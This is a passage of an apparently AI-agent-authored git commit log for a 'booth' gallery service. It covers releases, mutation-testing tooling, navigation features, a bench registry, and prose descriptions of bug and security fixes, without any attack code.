Three rulings open on booth-svos-retheme (ship / voice / emblem). The branch is an inert ref; merge is gated on the rulings. Verified independently: nothing checked out, main clean, merge-tree clean, merged tree 649 green. The fixup hold is now partial — booth.html is released because design-dev does not touch it, so bug-hunt findings there land immediately. And a real one he caught on our side: base.html reads four CSS custom properties and defines none of them, 15 uses without a fallback. An undefined var makes the whole declaration invalid at computed-value time, so those buttons have had no border at all and a transparent background — not merely default colours. The U7 rail reads the same names with fallbacks, which is why the rail looked deliberate and the buttons under it never did. Assigned to his rewrite; fixing it on main would collide with the one file he is rewriting. |
||
|
|
33e7149e24 |
fix(scripts): the mutation harness must not churn source mtimes
It rewrites a tracked file and restores it byte-for-byte — but the restore bumped the mtime, and in this repo that is not cosmetic. The repo IS the deployment root and nothing takes effect until the service restarts, so 'is :8090 stale?' is answered by comparing the service's start time against source mtimes. A tool that moves those without changing a byte makes that check lie: it reported the live service 16 minutes stale while it was serving current code. Restores atime/mtime with os.utime, with a test whose defeating change is dropping that line. Found by using the staleness check for real, not by review. 649 green; 12/12 U7 falsifiers still proved. |
||
|
|
c47b3dba7e |
memory: pushed v1.0.0b1, and a 'PUSHED' row that was stale when written
main and the annotated v1.0.0b1 tag are on origin; ahead 0, behind 0.
The push carried SIX commits, not the five this session produced:
|
||
|
|
2f6a0ee821 |
test: keep the mutation harness — scripts/mutation_check.py, with its own controls
Promotes the session-scratchpad harness that proved U7's twelve falsifiers into a repo tool, on the operator's call. No version bump: test tooling and docs, no production-code change, per the SemVer SKIP list. A green test is not evidence. A test that has never seen its own defeating change may pass under it too, forbidding nothing while reading as though it forbids something. This repo shipped that three times — twice in one session, and once an hour after writing the persistent-memory entry about it. Prose in a memory file is not an instrument. Tables live in tests/mutations/*.toml, one per unit, committed so a unit's proofs are an artifact rather than terminal scrollback. Adding a unit means adding a file, never editing the script. u7_navigation.toml was generated from the harness that proved those twelve, not retyped, and every anchor was verified against the source before it landed. THE TOOL GETS ITS OWN POSITIVE AND NEGATIVE CONTROLS, which is the point. It shipped two defects in one session, each of which made it report a falsifier PROVED WITHOUT RUNNING IT, and both were found by accident rather than by anything checking: no green baseline — a test that is ALREADY red reports red for every mutation thrown at it, so a broken assertion reads as a certified falsifier the bytecode cache — `< 2` -> `< 1` is byte-identical in size, and CPython validates a .pyc against the source's (mtime, size) at one-second granularity, so a mutation landing in the same second as the revert before it runs against cached bytecode; the tell was a verdict flipping between consecutive identical runs tests/test_mutation_check.py now carries a control for each, plus the one usually skipped: a KNOWN-VACUOUS falsifier the tool must catch. An instrument that only ever sees unknowns cannot tell "nothing wrong here" from "I am blind", and twelve `proved` lines from a blind instrument are worth nothing. Also hardens the tool against itself: it writes to tracked source files, so the restore is verified rather than assumed, and a .mutation-inflight marker makes a run killed mid-mutation refuse the next start instead of silently measuring a mutated tree. 648 tests green; 12/12 U7 falsifiers still proved. |
||
|
|
82ac7c44e4 |
docs: design-dev accepted the SVOS retrofit — the /vor-ui brief is declined, and why
The ROADMAP row requiring a /vor-ui brief predates the IA doc. With that doc, the landed templates and the seven handoff constraints, a /vor-ui pass would have cost the operator a serial Q&A to re-derive IA already measured. design-dev made that argument and it is better than the row it overrides. Also settles: we merge and restart; he works against a copy, never :8090; the concept round goes to the operator; webfonts by CDN link with display=swap, because the CDN-free property turned out to be accreted rather than an invariant (checked CLAUDE.md, the non-goals and the IA doc). Corrects a memory defect in the same commit: a postbox send note is a point-in-time snapshot and one was promoted into persistent memory as a durable fact about a handle's delivery mode. It was wrong within the hour. |
||
|
|
8a18dd13ab | memory: snapshot — v1.0.0b1 cut, the version that was two copies, and the design-dev handoff | ||
|
|
3126deca00 |
chore(release): 1.0.0b1 — the v1 target, staged as a beta
All seven v1 capabilities are landed (ROADMAP's v1 target is met), so this is the first release of the 1.x train. Staged as a beta rather than cut final on the operator's call: per the canonical policy `-beta.N` means feature-complete, external testing, no new features, focus is on bugs — which is exactly this state, with a cross-frontier bug-hunt panel outstanding on U7's diff. The repo learned this sequencing the hard way once: v0.2.0 was tagged and announced while a contract panel was in flight, the panel found three defects in the code just released, and v0.2.1 shipped within the hour. A beta is the designed answer to that, not a workaround for it. ALSO FIXES A SECOND COPY OF THE VERSION, found while cutting this one. `booth.__version__` was the literal `0.1.0` and had been wrong through six releases. It is now read from pyproject.toml — deliberately NOT from importlib.metadata, which describes a different artifact: this repo has no build step and no install step (booth.service runs uvicorn with WorkingDirectory set to the tree), and the venv was carrying a vestigial booth-0.3.0.dist-info with no package directory behind it. Installed metadata therefore reported 0.3.0 for a tree at 1.0.0b1 — confidently wrong and varying by environment, which is worse than a literal that at least fails the same way everywhere. booth/__init__.py is also, it turns out, effectively stdlib-only: scripts/booth imports booth.links / booth.marks / booth.manifest under the system python3 with no venv, and every one of those executes the package root first. Nothing asserted it. test_stdlib_only now covers __init__, and the no-venv import path is verified under python3.11 reporting 1.0.0b1. 642 tests green. |
||
|
|
bf351a26d1 |
feat(u7): filename groups — the last v1 unit, and a table that did not reproduce
Completes U7 with its fourth component: a jump-to-group rail derived from filename prefixes, replacing the subfolder sections ROADMAP named. The scope departure was ratified by the operator 2026-09-22; this commit deletes test_no_group_rail_is_shipped_yet, the guard that held it back, in the same change that builds what it guarded against. All seven v1 capabilities are now landed. The 1.0 cut is a decision, not a dependency, and it is the operator's — no version bump here, because a commit is not a release. THE RULE CHANGED AT IMPLEMENTATION, ON MEASURED GROUNDS. The contract specified `strip ONE trailing run of digits`; run against the live set that yields 24 groups for sindra-bakeoff's 40 images and 27 for sindra's 30 — a rail with a row per tile — because it keys on the END of the stem, where the instance number lives. The contract's own table claimed 5 and 1 for those two booths and neither reproduces; the numbers are reachable only by two OTHER heuristics, so the table that justified the design was assembled from more than one rule. Its own worked example contradicts it in plain sight. The shipped rule keys on the first separator-delimited segment, where the family lives, destemming only when the stem has no separator at all — so `ac01` -> `ac` while `v30-seed8302` and `v35-seed8302` stay apart. Re-measured across all 17 live booths; the table is in the contract. INV-3 GAINED ITS SECOND DEGENERACY. The contract guarded one group for everything (sc-iso-spread: DSC0001-DSC0006). The live set's actual failure is the opposite — pewpew-ui-brief yields 23 groups for 34 items, dfa-concepts 13 for 20 — and the contract as written would have shipped a rail that is a second copy of the grid. The rail now renders only when grouping is informative: two or more groups, and the middle group holding more than one item. That predicate gets all 17 booths right. Grouping is a VIEW. The grid stays sorted(rel) and the zoom ring stays that order filtered to images; the group fixture interleaves across subdirectories precisely so a (group, rel) re-sort goes red. Groups are derived from the RENDERED list, not the full gallery, so no anchor points at a filtered-out tile. booth/items.py _group_of + Item.group, derived in the resolver (INV-1) booth/app.py _groups() builds the rail rows; build_gallery carries it booth/templates/ the rail-groups nav and its CSS tests/ +16 tests; 639 green Every new falsifier was proved by running its defeating change (12/12). Three were vacuous first time out: one fixture's positional order happened to be alphabetical, one assertion miscounted elements, and the harness itself certified a broken test twice — no green baseline, and byte-identical mutations silently defeated by the pyc cache's one-second mtime granularity. |
||
|
|
2f85692e95 | memory: a standing no-announcements ruling — the send is the operator's, not the agent's to ask about | ||
|
|
6938d21085 |
memory: the operator ruled on all five — U7's departure approved, main pushed
"accept all recs, or make good ones." Four of five executed. APPROVED: drop subfolder sections for filename-prefix groups. The U7 contract moves to APPROVED and ROADMAP's U7 row and deterministic-order table are rewritten -- groups order by the position of their first member in sorted(rel). SETTLED: `unanswered` means has-an-open-pick, the reading that shipped. The has-no-mark-at-all reading is a different question and is parked to v1.1 rather than left pending. PUSHED: main and both release tags reached origin -- the first time this repo's U6 work has existed anywhere but this box. Recorded because --follow-tags carried neither tag: both are LIGHTWEIGHT per the SemVer policy and that flag only follows annotated ones, so a lightweight release tag needs its own push. NOT SENT: the 17-handle note was blocked by the auto-mode classifier because a multi-recipient send is gated on explicit operator approval. The blanket ruling ratifies the note's content, not that specific approval, and the gate held correctly. Drafted in full with its recipient list at docs/pending/fleet-note-booth-link-refusal.md so it survives a context clear. Not worked around. NOT SEEDED: "no seeding yet" was a specific prior instruction rather than a recommendation of this session's, so the blanket acceptance does not overwrite it. ⚠ The approval leaves a trap: test_no_group_rail_is_shipped_yet exists to stop an UNAPPROVED group rail, and the rail is now approved. It has inverted and must be deleted by whoever builds the rail, or it blocks correct work while reading like a real invariant. Named in the handoff's first step for that reason. |
||
|
|
8bf5343049 |
memory: snapshot — U7 three-quarters built, blocked on one ruling
U6 shipped as v0.6.0 and a late fix as v0.6.1; U7's three ratified components (rail, filters, grid keyboard) are landed and the fourth is deliberately not, because swapping subfolder sections for filename-derived groups is a scope departure the operator has not ruled on. A test fails if anyone builds it anyway. Two new detail files. One decomposes U7 by ratified-versus-not and records the two decisions taken under stated assumption. The other keeps the mechanism behind today's misrouted directive: pane_find addresses seats by a ROLLING PANE TITLE, which is not a stable address, and the failure is silent from the sender's side -- Miranda had no signal until infra-ops flagged it. The incident resolved; the mechanism did not. The generated handoff committed the modality failure its own step-7 read exists to catch: it listed push, seed and the 17-handle note as imperative Next steps when all three are explicitly gated. Rewritten as do-nots, Next steps emptied. Recorded here because it is the second time the generator has needed that backstop. |
||
|
|
a306e2dc6d |
feat(u7): the rail, the filters and the grid keyboard — the ratified three
ROADMAP's U7 row names four components. Three of them -- a sticky rail, filters, and grid keyboard -- are already ratified there and are implemented here. The fourth, replacing directory sections with filename-derived groups, is a scope DEPARTURE the operator has not ruled on and is deliberately not built; test_no_group_rail_is_shipped_yet fails the moment somebody builds it anyway, so it cannot arrive by accident while he is away. Filters are links carrying a query parameter, resolved server-side, so the gallery keeps working with JavaScript off -- U3 already cost the verbatim path its no-JS operation and said so, and the gallery is the surface the operator actually reviews on. An unknown filter falls back to `all` rather than indexing a dict by a value that arrives from an operator-editable URL. `unanswered` means HAS AN OPEN PICK, the U4 hold predicate that already exists. The other reading is a real and different question and stays open on the contract rather than being guessed at. Filtering is a VIEW and never reorders. The grid renders `sorted(rel)` with non-matching items removed, so "the third one" means the same thing with a filter on as with it off, and the zoom ring is untouched by any filter -- a ring that changed with the grid would make `next` depend on how the operator arrived, which is the misfiled-judgment failure invariant 6 exists for. ⚠ The first version of that invariant's test was VACUOUS and the mutation run caught it: it compared each filtered view against the unfiltered RESPONSE, so a reversing mutation reversed both sides and it stayed green under the exact change it forbade. Rewritten against an independent truth -- U1 INV-3 says the order IS sorted(rel) -- and re-verified RED. Written an hour after the entry describing this exact failure class, which is worth recording. 611 -> 623 tests. |
||
|
|
b50f41bb36 |
docs(u7): a PROPOSED contract for the last unit — scope departs from ROADMAP on measured grounds
Not approved and not implemented. Frontmatter status says so, the body says so twice, and the one scope-direction call in it is named as the operator's. ROADMAP's U7 row is sections, rail, filters, grid keyboard. The measurement recorded in persistent-memory.d/2026-09-22-u7-remeasured-before-scoping.md kills the first component -- zero of eleven gallery booths have a subdirectory, and the only two booths that do are reports -- and supplies a replacement: stripping a trailing digit-run from the filename stem yields 5 to 16 sensible groups on four of the five large galleries. The degenerate fifth is carried as a first-class case rather than an edge: one group must render NO rail, because a navigation affordance that cannot navigate is worse than none. Closes ROADMAP's outstanding U7 ordering question: groups order by the position of their first member in sorted(rel), so the rail reads in the same direction as the grid. Grouping and filtering are views and never reorder -- INV-2 exists because sorting by (group, rel) looks right and silently changes what 'the third one' means, which is the misfiled-judgment failure invariant 6 was written for. Blast radius checked before writing: Item gains one field beside the existing section, build_gallery carries it, and image_chain is explicitly unchanged. |
||
|
|
e15ee2c4ab |
memory: U7 re-measured before scoping — pre-work only, no unit started
The standing instruction is to re-count the booths before scoping U7. Done against the live 19-booth set, so the scope call is a short read rather than an investigation. Two findings. Sections are worth zero and it is now measured twice: not one of the eleven gallery booths has a subdirectory, and the only two booths that do are both reports, the job where grid navigation matters least. And the grouping signal is in the filename rather than the tree -- stripping a trailing digit-run yields 5 to 16 sensible groups on four of the five large galleries and degenerates to one group on the fifth, while the competing split-on-second- hyphen heuristic is useless everywhere. The sizing case has also moved: the unit was scoped against 270-item booths and the largest gallery is now 81 items / 40 images. No U7 code and no U7 contract. The scope direction is the operator's call. |
||
|
|
400e254da6 |
memory: reconcile the snapshot to v0.6.1
The snapshot was written at v0.6.0 and the marks-guard fix landed after it. Updates the in-flight head commit, the test count, and the ahead-of-origin count so a fresh session is not told a stale number. |
||
|
|
1b394dde18 |
chore(release): v0.6.1 — the wrong-shaped answer no longer 500s
Patch, agent discretion. Bundles the pre-existing render-time 500 on the gallery and marks pages, closed at the hydration boundary, plus the `_safe_fragments` handler that could not survive the failure it was handling. 611 tests. |
||
|
|
e702be4e1a |
fix: a wrong-shaped answer no longer 500s the gallery and the marks page
Pre-existing, measured at
|
||
|
|
c5ac49356f |
memory: snapshot — U6 released at v0.6.0, six of seven v1 units landed
Nothing in flight. The in-flight section is rewritten to the post-release state and carries the five things a fresh session must not do: push (main is 8 ahead of origin/main), seed the registry, send the 17-handle note, run either dated prediction early, or start U7 without re-counting the booths first. Two new detail files: the release itself, and what each of the five review passes could only see alone -- the strongest evidence this repo has for running all of them rather than picking one. The earlier U6 entry is reconciled; it was written while the gates were still out and said NOT TAGGED. Restored in the rewrite: the warning that the 17 handles were never told `keep` stopped meaning "waiting on an answer", which is load-bearing for how the 2026-10-06 re-count reads, and the fact that a remote now exists. |
||
|
|
3296a868fa |
chore(release): v0.6.0 — U6, benches
The sixth of seven v1 units. A bench is a running thing, registered: identity is the normalized URL so re-posting updates the row instead of appending a fifth, `booth link` refuses the one shape that now has a better home, and the board marks the rows whose booths are gone without deleting a single one. Minor rather than patch, approved by the operator. Two capabilities arrived and one verb changed behaviour for seventeen agent handles, which is the push-notification bar in the tier test: `booth bench` is new, the board gained a dead marker, and `booth link` now refuses a booth URL and a credentialed one. 444 -> 607 tests across the unit and its three cold gates. All four review gates closed: an in-session seam review (three real contract defects, including one that would have 404'd the whole board page), an in-session adversarial pass (four defects, one of them this repo's own FIFO lesson recurring in a new file), and three cold cross-frontier panels -- contract paraphrase, code-vs- contract, and a diff-scoped bug hunt -- folded in full with exactly one finding declined and its reasoning recorded. Measured before contracted, and the measurement changed the unit: the design doc's headline 69% rot was two defects wearing one number, and U5 had already closed the larger half. Identity is the FULL normalized URL rather than the origin because origin identity merges eight distinct gitea repositories, three unrelated model cards, and the two LRPG surfaces the design doc itself names as an example of two real benches. |
||
|
|
8cb21193dc |
fix(u6): fold the cold bug-hunt panel — a div in a span, a symlink split, and an append outside its lock
/heid-bug-hunt panel 01M35CRRK2RTVWWF1BN09AFQG3, diff-scoped against
|
||
|
|
e3853e2692 |
docs(u6): the CLI usage strings carry the --apply <id> form
The three places scripts/booth documents itself -- the header block and both usage lines -- still described a bare --apply, which is now refused. A usage string that names a form the script rejects is worse than none. |
||
|
|
32e3ed65e1 |
fix(u6): fold the cold contract panel — the import selection gap, and a document arguing with itself
/heid-contract-review panel 01M35BWCJ806MT75NA630Y4WFH. The headline arrived from all four arms independently and it is a missing feature, not a wording problem. `bench import --apply` registered every candidate, while the same contract says roughly 14 of 35 are reference bookmarks that must stay on the board. There was no selection mechanism between the dry-run report and the write -- so the write path did the exact thing this unit's rationale calls impossible, tell a bench from a bookmark by its URL, silently, to rows that belong where they are. The report existed precisely because the decision is not mechanizable. `--apply` now takes the ids the operator names; a bare `--apply` is refused and an unknown id is refused, both writing nothing. Two solo findings, both real: - A successful registration could push the registry past the size its own reader refuses, so the LAST bench added would make every other bench invisible while reporting success. The writer now respects the reader's cap. - The credential ban covered bench URLs and not `booth link`, the door this unit did not touch -- and the board renders on an unauthenticated LAN surface. A password can no longer reach it through either door. A small deliberate widening, named rather than smuggled. Cap semantics were readable three ways (refuse / clip-for-display / truncate-and-store) with a different build behind each, 4-of-4. Now stated per field: name and owner truncate, url and state are refused at the write and are DAMAGE at the read. url is not a display budget -- INV-7 promises the click goes to the posted address byte for byte, and a clipped URL keeps that promise in the type system while breaking it in the browser. The code had been clipping it; fixed. Two passages disagreed about one character: INV-7's specimen named "a trailing slash on a non-empty path" as something normalization changes, while the rule list keeps it and INV-6 makes the two spellings two benches. The rule list is right; the specimen was wrong. Found by 3-of-4. Also: INV-6's component list was illustrative where it had to be exhaustive and was short scheme and port; "writes nothing" appeared twice with different lists; the dead marker's predicate was readable two ways with 221 rows riding on it; and INV-2's falsifier read as though three callers agreeing pinned something, when three callers of one wrong predicate agree perfectly -- the table's expected values are the real check and now say so. 597 -> 604 tests. |
||
|
|
8a7af3eb08 |
fix(u6): fold the cold code-review panel — four-arm convergence on three surface clauses
/heid-code-review panel 01M35CK8YKEKMV7T15JXEF6A8N, verdict NOT drift-zero. Three findings arrived from all four arms independently, and they share a shape: a contract clause written as prose and never converted into an assertion. That is the lens working. - The panel dropped the added date the contract promised to show. - `bench ls` printed no ids, and the URL it printed was truncated to 52 columns so the line was not pasteable into `bench state|rm`. The test's docstring claimed it printed ids and asserted nothing of the kind. - `bench import` printed the description instead of the raw URL beside each normalized id, hiding the collapse the clause exists to expose. - An IPv6 literal lost its brackets: http://[::1]:8080/a normalized to http://::1:8080/a, a broken identity that no re-post can match. Bracketed literals are re-wrapped; an unbracketed one is refused rather than guessed. - A deeply-nested JSON RecursionError escaped read_benches' except pair. The byte cap does not help -- 200k open brackets is 200 KB. - An empty board hid the whole benches panel, registration form included. - The link refusal classified by captured-text emptiness, which bash can erase; it now answers with a B:/N sentinel so no name reads as "not a booth". INV-4's tie-break falsifier could not fail: _write_all serializes with sort_keys=True, so both insertion orders came back already id-sorted and removing the tie-break left the test green. It now calls order_benches directly. Same class as the five vacuous U4 falsifiers, found by a cold reader rather than by us. Also from the arms' per-invariant vacuity pass: INV-6 had no vector pinning a non-default port as part of the identity; INV-3 asserted only that links/ was absent; INV-8's hashed sequence omitted a read verb; INV-9's AST walk is defeated by a string import. All closed. Contract amended where the code was right: `updated` means last mutation, the id cap is write-only because the id is the locator controls post back, INV-8's file list includes the lock sidecar it always mandated. Every line number is out of the prose -- the panel found two already stale. 565 -> 593 tests. Nothing declined. |
||
|
|
0a2bb1d26c |
fix(u6): the booth check fails closed with a reason, and a dead write leaves no scratch
Two more from the in-session adversarial pass. `booth link`'s new booth-URL check shells out to booth/links.py. When that import cannot run, the command substitution under `set -e` aborted the script with a bare ModuleNotFoundError traceback: the right DIRECTION (no row was appended — a guard that fails open is not a guard) reached by accident, and unactionable when it fires. Handled explicitly now: exit 3, and a message naming what the check needs. The fail-closed direction is stated rather than inherited from shell semantics, and a test pins it — the defeating change in either direction goes red. _write_all's scratch file was stranded beside the registry if the write died between create and replace. Cleaned up on every exit path. The prior registry was never at risk either way: os.replace is the only thing that publishes. Also pins normalization idempotence, which `bench state <id|url>` and `bench rm <id|url>` both rely on: they normalize whatever they are handed, so an id that did not normalize to itself would miss the row it names. |
||
|
|
8c7f2127eb |
fix(u6): a FIFO at the registry path hung the render, and unquote leaked control characters
Both found by the in-session adversarial pass while the cold panels were still out. The first is this repo's own 2026-09-22 lesson recurring in a new file. _read_bytes bounded the READ and its docstring claimed that closed the named-pipe hole. It does not: open() blocks on a FIFO with no writer, before any byte cap can apply. read_benches runs on the board page's render path, so one FIFO there is a request that never returns and, with enough hits, the threadpool behind every route. Guarded with S_ISREG before the open, which is what marks.py has done since it learned the same thing. The bounded read stays for the case a stat cannot answer: a regular file that grew between the two. booth_target handed back whatever unquote produced, including NUL and newline. Neither can name a directory, and unfiltered they reach is_dir() -- which raises ValueError on an embedded NUL, and ValueError is not an OSError, so it escapes the dead marker's guard -- plus the refusal message the CLI prints and the marker the board renders. Both tests are written to go red under the exact change that defeats them: the FIFO test blocks rather than fails if the regular-file check is removed, and the control-character rows need their own case because %2e%2e and %2f stay green without the clause. |
||
|
|
1c3ce5ddb5 |
feat(u6): benches — a registry with identity, and the rule enforced
The standing link board carried three jobs because only one of them had a surface. Re-measured before contracting, its 221 rows split into 178 booth announcements (156 already dead) and 43 non-booth rows, of which 8 are the same bench re-posted. U5 gave the booth announcement a home; this gives the running service one, and refuses the one shape that now has somewhere better to go. - booth/benches.py (new, stdlib-only and sibling-free): the Bench record, URL normalization as the identity, a lenient read on the render path and a strict read on the write path, atomic replace under an flock, and a stated total order (state rank, name casefolded, id). - links.booth_target: ONE predicate for "is this a booth URL", consumed by the CLI refusal, the board's dead marker and bench import. Host-agnostic, path-shaped, percent-decoded, never raises. - booth link refuses a booth URL, names `booth new --why`, and writes nothing — not the row, not the board directory, not the announcement. - The board marks rows whose booth has been swept. Nothing here deletes a row: removal stays the operator's two clicks through the existing bulk control. - booth bench add|ls|state|rm|import. import writes nothing without --apply and never edits links.md. - docs/archive/links-2026-09-22.md: the board archived verbatim into git. Identity is the FULL normalized URL, not the origin, and that was measured: origin identity collapses the 43 non-booth rows to 19 groups by merging eight distinct gitea repositories into one row, three unrelated HuggingFace model cards into one, and the two LRPG surfaces on 10.100.10.50:8321 — the design doc's own example of two real benches — into one. Full-URL identity still collapses both cases that doc names: talk 5 to 1, Peedlar 3 to 1. booth link is NOT deprecated. Roughly 14 of the 35 distinct non-booth targets are reference bookmarks for which the board is the right and only home; the design doc's plan to deprecate it would have evicted a third of its live content. Corrected there, along with what "normalized URL" means. The seam review found three real defects in the contract before any code: the claim that test_stdlib_only already forbids sibling imports (it exempts `booth` on purpose), naming resolve_booth as the dead marker's existence check (it raises HTTPException(404), so one swept booth would have 404'd the whole board page), and silence on percent-encoding (booth links are emitted through quote(name, safe=""), so a raw comparison marks every encoded booth dead forever). That both list_booths and sweep_once skip the registry was verified against the real functions rather than assumed. 444 -> 555 tests. Deployed and verified live: 23/23 booths 200, and the board renders 156 dead of 221 rows, matching an independent pre-implementation count. NOT TAGGED: both cold gates are in flight (contract review 01M35BWCJ806MT75NA630Y4WFH, code review 01M35CK8YKEKMV7T15JXEF6A8N) and the bug-hunt has not run. Per the v0.2.0 lesson, the tag waits for the gates. |
||
|
|
91fd8bc69d |
memory: snapshot — U3 released at v0.5.0, pushed and deployed
First push of this repo's history: main was 26 commits ahead of origin/main, so
v0.2.0 through v0.5.0 all reached the Gitea remote in one motion. A future
session can assume a remote exists, which no earlier one could.
Records the open defect U3 found and deliberately did not fix -- a well-formed
.marks.json with a wrong-shaped answer 500s the gallery and marks pages,
measured at
|
||
|
|
7996fbd597 |
chore(release): v0.5.0 — U3, the declared embed seam
Minor rather than patch, and the tie-break rule says default to patch, so the reason is worth stating: a capability arrived AND one left. Report authors gain a declared public API -- one line, `<script src="/_booth/embed.js" defer>`, plus the `data-booth-mark` anchor syntax -- and the verbatim path loses no-JavaScript operation, which it had since it existed. That asymmetry is what makes it not a tie. Either half alone would have been defensible as a patch. Operator approved 2026-09-22. |
||
|
|
5c20e2f4d5 |
fix(u3): seven defects two cold panels found in the declared seam
The /heid-code-review and /heid-bug-hunt panels, artifact-only over the U3
diff, between them found four real defects and three vacuous falsifiers. Both
snapshots predate the contract-review fixes, so two of their findings were
already closed; the rest are here.
Prototype pollution in the placement maps. A mark id and a question key are
both [A-Za-z0-9][A-Za-z0-9._-]*, so `toString` and `constructor` are legal in
each. Against a plain `{}` an anchor naming NO mark returned an inherited
function, passed the guard meant to reject it, and threw on .questions.length
-- aborting placement before the tail, so one typo in author markup cost the
page every ask. The `placed` set had the mirror bug: inherited
`got.constructor` read as already-placed and silently dropped a question.
Object.create(null), three times. Found independently by both panels.
A declaring page was not served as written. read_text() opens in
universal-newline mode, so a CRLF report came back LF, and errors="replace"
replaced every byte that was not valid UTF-8. That is this unit's headline
promise, broken by the read itself, and the test could not see it because its
fixture was LF-only ASCII. The verbatim branch reads and serves bytes now; the
decoded copy answers only "does it declare the seam?".
A submit anchor inside the author's own <form> lost ours -- the parser drops a
nested form element outright -- while the code still recorded the pick as
submitted, so no fallback was appended. Every control's form= pointed at
nothing and the button did nothing. It counts as submitted only if the form
survived.
A broken pick's diagnostic never rendered from a submit-only anchor: an errored
pick's submit block is empty, and mounting that then marking it placed made the
tail skip the "broken ask" box entirely. The anchor is left alone instead.
An author's own element could hijack the open-ask chip -- id="bk-ask-winner-
background" satisfies any prefix rule, hyphen boundary included. The chip now
searches only elements this script mounted, which is the identity the deleted
bk-ask-<id>-top anchor used to guarantee, and takes the earliest by
compareDocumentPosition.
No error boundary around fragment rendering. A .marks.json that is well-formed
JSON with a wrong-shaped answer hydrates with no error and then raises in the
macro; this endpoint renders every pick on every load of the report, so that
was the whole seam gone while hold_read called the file readable. Reproduced
before building for it. _safe_fragments gives it the per-mark leniency
_hydrate_safe already applies one layer down.
The gallery and marks pages still 500 on that same entry. Measured at
|
||
|
|
87e2c5364c |
feat(u3): a verbatim report declares the seam, the Booth mounts into it
A booth that ships its own index.html was served through ten regular
expressions applied to markup the Booth did not write: six in
wrap_verbatim_html hunting for somewhere to hang a favicon and a chip, four
in booth/inline.py substituting rendered ask markup into the author's own
tags. Both worked. Both were the most fragile thing in the service, on the
path the operator uses most.
The whole class is replaced by a declared seam. A report carries one line —
<script src="/_booth/embed.js" defer></script> — and the chrome mounts
through DOM APIs. What the server does to author HTML is now, in full:
return html if declares_embed(html) else html + EMBED_SCRIPT_TAG
Two substring tests and a concatenation. Both of the old wrapper's hard
constraints stop existing rather than being satisfied more carefully:
nothing can displace a leading doctype into quirks mode and nothing can push
the charset meta out of its detection window, because nothing in front of
them ever moves. A page that declares the seam is served exactly as written.
Fragments are still rendered by the _ask_inline.html macros and handed over
GET /b/<name>/embed.json; embed.js places them and decides nothing. Openness
comes from open_marks, order from (created, id), questions in declaration
order. A single-question pick normalizes to key None, so the payload carries
questions as a list rather than an object — keying by name would serialize
that as the string "null".
Placement is an anchor fill, not a replacement: el.insertAdjacentHTML(
'beforeend'), so an author's wrapper and its contents survive. The regex it
replaces was eating the opening tag of dfa-concepts' styled .ask blocks and
orphaning their headings, live, unreported.
data-booth-mark is canonical; data-booth-ask stays a kept alias because two
live reports use it. The comment placeholders are dropped — no users.
Declared cost: the verbatim path now needs JavaScript. The never-invisible
guarantee holds through the index badge and /b/<name>/marks, both of which
render server-side.
Deleted: booth/inline.py entire, wrap_verbatim_html and its six patterns,
_BACK_CHIP, asks_chip, inject_asks, FAVICON_LINK, the styles() macro.
Tests 410 -> 434. tests/test_embed_browser.py drives a real Chromium: the
placement algorithm and the form= binding of a scattered multi-question form
cannot be observed any other way, and that binding was measured rather than
assumed (N=3 per condition, with a form-first positive control and a
points-at-nothing negative control).
Contract: docs/contracts/u3_declared_embed_seam.contract.md, with the
in-session seam review and the cold contract panel both recorded. Two of the
panel's findings were code fixes: a vacuous INV-3 falsifier that a renamed
regex walked straight through, and a bare-substring seam detection that read
a report merely quoting the path as declaring it and silently served it with
no chrome.
|
||
|
|
42ea67f33f |
memory: snapshot — U4 released at v0.4.0, next unit undecided
Current state rewritten for the post-U4 position: 410 tests, v0.4.0 tagged, tree not pushed, all three gates closed. Carries the session's U3 recommendation with its three grounds AND its counter-argument, so the operator can take the call without reloading the unit. The methodology-proposals row goes from three to four and is now marked explicitly untracked by operator choice — the new one is the contract-time vacuity pass, which is the only one of the four with measured evidence behind it after five of seven U4 falsifiers turned out not to discriminate. |
||
|
|
8f81d8f9d0 |
memory: no fleetwide notice for U4, and the measurement caveat it creates
Operator decision 2026-09-22: no broadcast to the 17 consuming handles. Same posture as U5 — adoption gets told apart from design because nobody was primed. The consequence is a measurement one and it needed writing down before it was lost. U4's two halves have different adoption costs: the hold rides for free (a session runs `booth ask` and its booth is held, knowing nothing), but NOT pressing `keep` has to be learned. So a flat `.forever` rate on 2026-10-06 is exactly what 'the mechanism works and nobody was told' looks like, and reading it as a falsification would retire a correct diagnosis on an uncontrolled measurement. Records the three counts to report instead, and states the sensitivity floor: only 4 of 24 booths carry marks at all, so the hold can touch at most a sixth of the fleet and an effect below one or two booths is not resolvable. |
||
|
|
c75d7a2797 |
fix: four defects the U4 bug-hunt panel found in code it did not add
All four pre-date U4 and sit in files it touched, which is why a diff-scoped robustness lens saw them. They are separated from the unit's own commit so the feature history stays readable; the release tags both. * A booth name reached a JS string context. The confirm dialogs interpolated the name into a string literal inside `onsubmit`. Jinja's autoescape is HTML-attribute escaping, not JS-string escaping: the browser decodes the entity back to a quote before the JS parser sees it, so a name crafted to close the string executed on submit. Booth names are agent-authored — making a folder under the data dir is the whole API — so this was a live path, not a theoretical one. The name now travels as a data attribute to a delegated handler, where escaping is escaping. * An unreadable `links.md` returned 500 for the whole booth page. `is_file()` then an unguarded `read_text()`. The board is one tile on that page, and a page that will not load is worse than one missing a tile — the posture `read_blurred`, `marks_for` and `read_manifest` already take. * The index order had no tie-breaker, which violates the deterministic-order invariant. Equal-mtime booths fell back to whatever `iterdir()` yielded, and two booths landed by one `rsync` batch share an mtime exactly. Now `(mtime, name)` reverse: newest first, then name. The operator refers to cards positionally, so a sequence that moves between renders misfiles his judgment rather than crashing. * `/b/<n>/marks.json` reported damage as empty success. `booth marks` exits 3 on an unreadable file precisely so a caller can tell "not yet" from "broken"; the HTTP mirror — the only reader a remote session has — returned the same empty list for both. It now carries `error` and `detail`. The status stays 200 deliberately: reads are lenient here, and a pinned status code is a promise to remote clients this fix has no business breaking. Each has a regression test. 410 tests. |
||
|
|
c3a97c1b64 |
feat(u4): a booth's lifetime is derived from its state, not from a boolean
`.forever` was the only way to say three different things — "this is durable",
"I have not answered yet", "I am still looking" — and the census said it was
carrying all three: 17 of 24 live booths (70%, up from 54% the day before).
Three of the four booths in the fleet awaiting an answer had been pinned by
hand as well, and 10 of the 17 were younger than the TTL, so the sentinel had
bought them nothing and was pressed pre-emptively.
Only the first meaning is what `keep` means. The other two are facts the
service already held and did not consult.
KEPT `.forever` present never swept (unchanged)
HELD an open pick, or marks we cannot read never swept (new)
EPHEMERAL everything else 24h (unchanged)
Viewing is activity: a deliberately-served response from a booth's own page
route writes `.viewed`, which is a dotfile and not a `.lock` dotfile, so
